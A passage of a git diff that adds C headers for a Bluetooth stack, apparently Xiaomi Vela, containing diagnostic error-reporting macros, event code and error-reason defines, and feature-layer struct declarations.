+ "%s:%s", "btHfpMediaError", reason); \
+ } while (0)
+
+#define BT_DFX_HFP_OFFLOAD_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btHfpOffloadError: %s", reason); \
+ BT_DFX_SEND_HFP_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HFP, BT_DFXC_HFP_OFFLOAD), \
+ "%s:%s", "btHfpOffloadError", reason); \
+ } while (0)
+
+// hid
+#if defined(CONFIG_BLUETOOTH_DFX) && defined(CONFIG_BLUETOOTH_HID_DEVICE)
+#define BT_DFX_SEND_HID_EVENT(...) sendEventMisightF(__VA_ARGS__)
+#else
+#define BT_DFX_SEND_HID_EVENT(...)
+#endif
+
+#define BT_DFX_HID_CONN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btHidConnectError: %s", reason); \
+ BT_DFX_SEND_HID_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_HID, BT_DFXC_HID_CONN), \
+ "%s:%s", "btHidConnectError", reason); \
+ } while (0)
+
+// others
+#if defined(CONFIG_BLUETOOTH_DFX)
+#define BT_DFX_SEND_OTHERS_EVENT(...) sendEventMisightF(__VA_ARGS__)
+#else
+#define BT_DFX_SEND_OTHERS_EVENT(...)
+#endif
+
+#define BT_DFX_SOCKET_ERROR(reason, port) \
+ do { \
+ BT_LOGE("BT_DFX: btSocketError: %s, port: %d", reason, port); \
+ BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_SOCKET), \
+ "%s:%s,%s:%d", "btSocketError", reason, "port", port); \
+ } while (0)
+
+#define BT_DFX_IPC_CONN_ERROR(type, reason) \
+ do { \
+ BT_LOGE("BT_DFX: btIpcConnectError: %s, reason: %s", type, reason); \
+ BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_IPC_CONN), \
+ "%s:%s,%s:%s", "btIpcConnectError", type, "reason", reason); \
+ } while (0)
+
+#define BT_DFX_IPC_ALLOC_ERROR(reason, packet_code) \
+ do { \
+ BT_LOGE("BT_DFX: btIpcAllocError: %s, packetCode: %" PRIu32, reason, packet_code); \
+ BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_IPC_ALLOC), \
+ "%s:%s,%s:%" PRIu32 "", "btIpcAllocError", reason, "packetCode", packet_code); \
+ } while (0)
+
+#define BT_DFX_DRIVER_ERROR(type, name, reason) \
+ do { \
+ BT_LOGE("BT_DFX: btDriverError: %s, name: %s, reason: %s", type, name, reason); \
+ BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_DRIVER), \
+ "%s:%s,%s:%s,%s:%s", "btDriverError", type, "name", name, "reason", reason); \
+ } while (0)
+
+#define BT_DFX_OPEN_ERROR(reason) \
+ do { \
+ BT_LOGE("BT_DFX: btOpenError: %s", reason); \
+ BT_DFX_SEND_OTHERS_EVENT(BT_DFX_BUILD_CODE(BT_DFXG_OTHERS, BT_DFXC_OPEN), \
+ "%s:%s", "btOpenError", reason); \
+ } while (0)
+
+#endif /* _BT_DFX_H_ */
\ No newline at end of file
diff --git a/dfx/bt_dfx_event.h b/dfx/bt_dfx_event.h
new file mode 100644
index 0000000000000000000000000000000000000000..86aa8cdcf681bfb1f14ea20b0098161e21c511bb
--- /dev/null
+++ b/dfx/bt_dfx_event.h
@@ -0,0 +1,87 @@
+/****************************************************************************
+ * Copyright (C) 2025 Xiaomi Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ ***************************************************************************/
+#ifndef _BT_DFX_EVENT_H_
+#define _BT_DFX_EVENT_H_
+
+// vela bluetooth event id
+#define BT_DFX_BASE_VELA_BLUETOOTH (923020000)
+
+// event group
+#define BT_DFXG_BR_GAP (0)
+#define BT_DFXG_LE_GAP (500)
+#define BT_DFXG_RFCOMM (1000)
+#define BT_DFXG_L2CAP (1100)
+#define BT_DFXG_GATT (1200)
+#define BT_DFXG_A2DP (3000)
+#define BT_DFXG_AVRCP (3200)
+#define BT_DFXG_HFP (3400)
+#define BT_DFXG_LE_AUDIO (4000)
+#define BT_DFXG_HID (6000)
+#define BT_DFXG_MESH (6100)
+#define BT_DFXG_CHANNEL_SOUNDING (7000)
+#define BT_DFXG_OTHERS (9000)
+
+// event subcode
+// group: BT_DFXG_BR_GAP
+#define BT_DFXC_BR_GAP_INQUIRY (0)
+#define BT_DFXC_BR_GAP_CONN (100)
+#define BT_DFXC_BR_GAP_DISCONN (110)
+#define BT_DFXC_BR_GAP_PAIR (200)
+
+// group: BT_DFXG_LE_GAP
+#define BT_DFXC_LE_GAP_SCAN (0)
+#define BT_DFXC_LE_GAP_CONN (100)
+#define BT_DFXC_LE_GAP_DISCONN (110)
+#define BT_DFXC_LE_GAP_PAIR (200)
+
+// group: BT_DFXG_RFCOMM
+#define BT_DFXC_SPP_CONN (0)
+#define BT_DFXC_SPP_DISCONN (10)
+
+// group: BT_DFXG_A2DP
+#define BT_DFXC_A2DP_CONN (0)
+#define BT_DFXC_A2DP_MEDIA (10)
+#define BT_DFXC_A2DP_OFFLOAD (20)
+
+// group: BT_DFXG_AVRCP
+#define BT_DFXC_AVRCP_CONN (0)
+#define BT_DFXC_AVRCP_CTRL (10)
+#define BT_DFXC_AVRCP_VOL (20)
+
+// group: BT_DFXG_HFP
+#define BT_DFXC_HFP_CONN (0)
+#define BT_DFXC_HFP_SCO_CONN (10)
+#define BT_DFXC_HFP_VOL (20)
+#define BT_DFXC_HFP_MEDIA (30)
+#define BT_DFXC_HFP_OFFLOAD (40)
+
+// group: BT_DFXG_HID
+#define BT_DFXC_HID_CONN (0)
+
+// group: BT_DFXG_MESH
+
+// group: BT_DFXG_CHANNEL_SOUNDING
+
+// group: BT_DFXG_OTHERS
+#define BT_DFXC_SOCKET (0)
+#define BT_DFXC_IPC_CONN (10)
+#define BT_DFXC_IPC_ALLOC (20)
+#define BT_DFXC_DRIVER (100)
+#define BT_DFXC_OPEN (200)
+
+#define BT_DFX_BUILD_CODE(group, subcode) ((BT_DFX_BASE_VELA_BLUETOOTH) + (group) + (subcode))
+
+#endif /* _BT_DFX_EVENT_H_ */
\ No newline at end of file
diff --git a/dfx/bt_dfx_reason.h b/dfx/bt_dfx_reason.h
new file mode 100644
index 0000000000000000000000000000000000000000..eb066379fa3361cf220bc3d37f98851179079080
--- /dev/null
+++ b/dfx/bt_dfx_reason.h
@@ -0,0 +1,76 @@
+/****************************************************************************
+ * Copyright (C) 2025 Xiaomi Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ ***************************************************************************/
+#ifndef _BT_DFX_REASON_H_
+#define _BT_DFX_REASON_H_
+
+// error reason
+#define BT_DFXE_REPEATED_ATTEMPT "btRepeatedAttempt"
+#define BT_DFXE_ADAPTER_STATE_NOT_ON "btAdapterStateNotOn"
+#define BT_DFXE_PAGE_TIMEOUT "btPageTimeout"
+#define BT_DFXE_CONN_TIMEOUT "btConnTimeout"
+#define BT_DFXE_CONN_FAILED_TO_BE_ESTABLISHED "btConnFailedToBeEstablished"
+
+#define BT_DFXE_SCANNER_EXCEED_MAX_NUM "btScannerExceedMaxNum"
+
+#define BT_DFXE_SPP_NOT_STARTUP "btSppNotStartup"
+#define BT_DFXE_SPP_SCN_ALLOC_FAIL "btSppScnAllocFail"
+#define BT_DFXE_SPP_NO_RESOURCES "btSppNoResources"
+
+#define BT_DFXE_A2DP_CONN_TIMEOUT "btA2dpConnTimeout"
+#define BT_DFXE_SET_A2DP_AVAILABLE_FAIL "btSetA2dpAvailableFail"
+#define BT_DFXE_GET_A2DP_AVAILABLE_FAIL "btGetA2dpAvailableFail"
+
+#define BT_DFXE_OFFLOAD_START_TIMEOUT "btOffloadStartTimeout"
+#define BT_DFXE_OFFLOAD_HCI_UNSPECIFIED_ERROR "btOffloadHciUnspecifiedError"
+
+#define BT_DFXE_GET_MEDIA_VOLUME_RANGE_FAIL "btGetMediaVolumeRangeFail"
+#define BT_DFXE_SET_MEDIA_VOLUME_FAIL "btSetMediaVolumeFail"
+#define BT_DFXE_SET_UI_VOLUME_FAIL "btSetUiVolumeFail"
+#define BT_DFXE_MEDIA_PLAYER_CREATE_FAIL "btMediaPlayerCreateFail"
+#define BT_DFXE_GET_STREAM_VOLUME_FAIL "btGetStreamVolumeFail"
+#define BT_DFXE_MEDIA_SESSION_OPEN_FAIL "btMediaSessionOpenFail"
+#define BT_DFXE_MEDIA_SESSION_SET_EVENT_CB_FAIL "btMediaSessionSetEventCbFail"
+#define BT_DFXE_MEDIA_SESSION_START_FAIL "btMediaSessionStartFail"
+#define BT_DFXE_MEDIA_SESSION_STOP_FAIL "btMediaSessionStopFail"
+#define BT_DFXE_MEDIA_SESSION_PAUSE_FAIL "btMediaSessionPauseFail"
+#define BT_DFXE_MEDIA_SESSION_NEXT_SONG_FAIL "btMediaSessionNextSongFail"
+#define BT_DFXE_MEDIA_SESSION_PREV_SONG_FAIL "btMediaSessionPrevSongFail"
+
+#define BT_DFXE_HFP_AG_CONN_TIMEOUT "btHfpAgConnTimeout"
+#define BT_DFXE_HFP_AG_CONN_RETRY_FAIL "btHfpAgConnRetryFail"
+#define BT_DFXE_HFP_HF_CONN_TIMEOUT "btHfpHfConnTimeout"
+#define BT_DFXE_HFP_HF_CONN_RETRY_FAIL "btHfpHfConnRetryFail"
+#define BT_DFXE_SET_VOICE_CALL_VOLUME_FAIL "btSetVoiceCallVolumeFail"
+#define BT_DFXE_GET_VOICE_CALL_VOLUME_FAIL "btGetVoiceCallVolumeFail"
+#define BT_DFXE_MEDIA_POLICY_SUBSCRIBE_FAIL "btMediaPolicySubscribeFail"
+#define BT_DFXE_SET_HFP_SAMPLERATE_FAIL "btSetHfpSamplerateFail"
+#define BT_DFXE_SET_SCO_AVAILABLE_FAIL "btSetScoAvailableFail"
+#define BT_DFXE_SET_SCO_UNAVAILABLE_FAIL "btSetScoUnavailableFail"
+#define BT_DFXE_SET_ANC_ENABLE_FAIL "btSetAncEnableFail"
+
+#define BT_DFXE_HID_CONNECT_BUSY "btHidConnectBusy"
+
+#define BT_DFXE_CLIENT_CONNECT_FAIL "btClientConnectFail"
+#define BT_DFXE_ASYNC_CLIENT_CONN_FAIL "btAsyncClientConnectFail"
+#define BT_DFXE_FILE_DESCRIPTOR_ERROR "btFileDescriptorError"
+#define BT_DFXE_SPP_CONN_FAIL "btSppConnFail"
+#define BT_DFXE_CLIENT_MSG_ALLOC_FAIL "btClientMsgAllocFail"
+#define BT_DFXE_SERVER_CACHE_ALLOC_FAIL "btServerCacheAllocFail"
+#define BT_DFXE_OPEN_HCI_UART_FAIL "btOpenHciUartFail"
+#define BT_DFXE_LE_ENABLE_FAIL "btLeEnableFail"
+#define BT_DFXE_BR_ENABLE_FAIL "btBrEnableFail"
+
+#endif /* _BT_DFX_REASON_H_ */
\ No newline at end of file
diff --git a/feature/feature_async/include/feature_bluetooth.h b/feature/feature_async/include/feature_bluetooth.h
new file mode 100644
index 0000000000000000000000000000000000000000..b1902356ca05688c5183d42da5b0dadd6d5f1ca0
--- /dev/null
+++ b/feature/feature_async/include/feature_bluetooth.h
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2025 Xiaomi Corporation. All rights reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _FEATURE_BLUETOOTH_H_
+#define _FEATURE_BLUETOOTH_H_
+#include "bluetooth.h"
+#include "bt_device.h"
+#include "bt_list.h"
+#include "bt_message_gattc.h"
+#include "feature_exports.h"
+
+#define FEATURE_MANAGER_BLUETOOTH_DATA "bluetooth"
+
+#define FEATURE_BT_NO_RESOURCES 10013
+#define FEATURE_BT_IPC_ERROR 10012
+#define FEATURE_BT_UNKNOWN_ERROR 10008
+#define FEATURE_BT_NOT_ENABLED 10001
+#define FEATURE_BT_NOT_FOUND 10014
+
+typedef enum {
+ STATE_NON_SCAN = 0,
+ STATE_SCANING = 1,
+} ScanState;
+
+typedef struct {
+ FtCallbackId feature_callback_id;
+ void* feature;
+ void* data;
+} callback_info_t;
+
+typedef struct {
+ FeatureInstanceHandle* feature_ins;
+
+ // There will be additional events related to subscribing to features in the future.
+} feature_bluetooth_ins_t;
+
+typedef struct {
+ FeatureInstanceHandle* feature_ins;
+
+ // There will be additional events related to subscribing to features in the future.
+} feature_bluetooth_ble_ins_t;
+
+typedef struct {
+ FtPromiseId pid;
+ union {
+ FeatureInstanceHandle feature_ins;
+ FeatureInterfaceHandle interface;
+ };
+} feature_data_t;
+
+typedef struct {
+ bt_instance_t* ins;
+ FeatureInterfaceHandle interface;
+ void* adv;
+ void* start_userdata;
+ bool busy;
+} feature_bluetooth_adv_info_t;
+
+typedef struct {
+ FtInt id;
+ FtCallbackId callback;
+ FtCallbackId fail;
+} scan_subscribe_info_t;
+
+typedef struct {
+ bt_instance_t* ins;
+ FeatureInterfaceHandle interface;
+ void* scan;
+ void* start_userdata;
+ bool busy;
+ bt_list_t* subscribe_info;
+ FtInt subscribe_id;
+} feature_bluetooth_scan_info_t;
+
+typedef struct {
+ gattc_handle_t handle;
+ bt_address_t remote_address;
+ ble_addr_type_t addr_type;
+ connection_state_t conn_state;
+ uint16_t gatt_mtu;
+} gattc_t;
+
+typedef enum {
+ FEATURE_GATTC_CONN,
+ FEATURE_GATTC_DISCONN,
+ FEATURE_GATTC_DISCOVERY,
+ FEATURE_GATTC_READ_CHAR,
+ FEATURE_GATTC_READ_DESC,
+ FEATURE_GATTC_WRITE_CHAR,
+ FEATURE_GATTC_WRITE_DESC,
+ FEATURE_GATTC_SET_MTU,
+ FEATURE_GATTC_SET_NOTIFY,
+} gattc_userdata_type_t;
+
+typedef struct {
+ FtPromiseId pid;
+ gattc_userdata_type_t userdata_type;
+ FeatureInterfaceHandle interface;
+} gattc_data_t;
+
+typedef struct {
+ bool created;
+ bt_instance_t* ins;
+ FeatureInterfaceHandle interface;
+ gattc_t* gattc;
+ bt_list_t* userdata_list;
+} feature_bluetooth_gattc_info_t;
+
+typedef struct {
+ bt_list_t* feature_ble_adv;
+ bt_list_t* feature_ble_scan;
+ bt_list_t* feature_ble_gattc;
+} feature_bluetooth_features_info_t;
+
+char* StringToFtString(const char* str);
+bool js_event_cb_added();
+void feature_bluetooth_post_task(FeatureInstanceHandle handle, FtCallbackId callback_id, void* data);
+FeatureErrorCode bt_status_to_feature_error(uint8_t status);
+void feature_bluetooth_init_bt_ins_async(FeatureProtoHandle handle);
+void feature_bluetooth_uninit_bt_ins_async(void* data);
+bt_instance_t* feature_bluetooth_get_bt_ins(FeatureInstanceHandle feature);
+void feature_ble_list_free(void* data);
+#endif // _FEATURE_BLUETOOTH_H_
\ No newline at end of file
diff --git a/feature/feature_async/jidl/bluetooth.jidl b/feature/feature_async/jidl/bluetooth.jidl
new file mode 100644
index 0000000000000000000000000000000000000000..20bff009c4d1bd9ea7c36d0d63d85c0caede8016
--- /dev/null
+++ b/feature/feature_async/jidl/bluetooth.jidl
@@ -0,0 +1,3 @@
+module system.bluetooth@2.0
+
+promise